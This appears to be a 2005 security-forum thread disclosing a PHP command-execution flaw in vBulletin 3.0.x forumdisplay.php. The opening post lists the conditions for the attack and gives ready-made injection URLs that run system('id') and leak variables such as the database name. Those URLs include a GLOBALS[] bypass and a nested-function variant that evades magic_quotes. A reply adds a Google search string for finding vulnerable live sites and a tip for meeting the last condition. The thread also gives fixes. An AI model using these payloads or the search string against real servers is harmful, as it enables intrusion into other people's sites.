|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 89
Members: 0
Total: 89
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Vbullettin 3.0.x forumdisplay.php PHP command Execution |
|
Posted: Wed Feb 16, 2005 8:41 am |
|
|
Zeelock |
Active user |
|
|
Joined: Jan 27, 2005 |
Posts: 29 |
Location: Where stars come out at night |
|
|
|
|
|
|
AL3NDALEED Founded that within the following conditions:
Quote: |
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
* 4th condition : magic_quotes_gpc must be OFF SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ))
|
Is it possible to inject code as in the following example:
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."
Anyway the forth condition can be bypassed like this (nesting formulas - Credit to pokley aka pokleyzz - Not Tested)
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id
Or evaluating the value of variables:
forumdisplay.php?GLOBALS[]=1&f=2&comma=$admincpdir
forumdisplay.php?GLOBALS[]=1&f=2&comma=$dbname
So if you are a web master:
Solutions:
----------------
* Disable showforumusers in vbulletin options .
* add the next line before if ($vboptions['showforumusers'])
$comma = ''; |
|
Last edited by Zeelock on Thu Feb 17, 2005 8:44 am; edited 2 times in total _________________ If it seems to be impossible, just step up your level! |
|
|
|
|
|
j |
|
Posted: Wed Feb 16, 2005 10:38 pm |
|
|
SteX |
Advanced user |
|
|
Joined: May 18, 2004 |
Posts: 181 |
Location: Serbia |
|
|
|
|
|
|
|
_________________
We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
------------------------------------------------------- |
|
|
|
|
Yep, is the same |
|
Posted: Thu Feb 17, 2005 10:06 am |
|
|
Zeelock |
Active user |
|
|
Joined: Jan 27, 2005 |
Posts: 29 |
Location: Where stars come out at night |
|
|
|
|
|
|
As you can see is just a GET req the one by AL3NDALEEB.
The problem lays in Magic Quotes. These protect the innocent against this exploit. |
|
_________________ If it seems to be impossible, just step up your level! |
|
|
|
|
PoC |
|
Posted: Thu Feb 17, 2005 11:48 am |
|
|
pokleyzz |
Regular user |
|
|
Joined: Feb 17, 2005 |
Posts: 6 |
|
|
|
|
|
|
|
|
|
|
|
|
Great Pokleyzz, In tune on Time |
|
Posted: Thu Feb 17, 2005 12:57 pm |
|
|
Zeelock |
Active user |
|
|
Joined: Jan 27, 2005 |
Posts: 29 |
Location: Where stars come out at night |
|
|
|
|
|
|
Always in time!
I'll test it this evening in my dummy localhost VBullettin Site |
|
_________________ If it seems to be impossible, just step up your level! |
|
|
|
Posted: Thu Feb 17, 2005 8:28 pm |
|
|
LINUX |
Moderator |
|
|
Joined: May 24, 2004 |
Posts: 404 |
Location: Caiman |
|
|
|
|
|
|
Is very hard find servers they have these functions
in my opinion only 15 % all VB (3.0.x-3.04) installed in all world is vulnerable
Code: | * 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum. |
|
|
|
|
|
|
|
|
|
Posted: Thu Feb 17, 2005 10:53 pm |
|
|
pokleyzz |
Regular user |
|
|
Joined: Feb 17, 2005 |
Posts: 6 |
|
|
|
|
|
|
|
Quote: |
* 1st condition : $vboptions['showforumusers'] == True , the admin must set showforumusers ON in vbulletin options.
* 2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
* 3rd condition : $DB_site->fetch_array($forumusers) == True , when you visit the forums, it must has at least one user show the forum.
|
searching something like this `inurl:"forumdisplay" +"Currently Active Users" +"vBulletin Version 3.0.3"` in google will help find one.
You can create the third condition by login as registered user and view the forum. |
|
|
|
|
Posted: Fri Feb 18, 2005 9:41 am |
|
|
Alkaen |
Regular user |
|
|
Joined: Feb 16, 2005 |
Posts: 5 |
Location: Bahrain - Aldair |
|
|
|
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> All other software
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|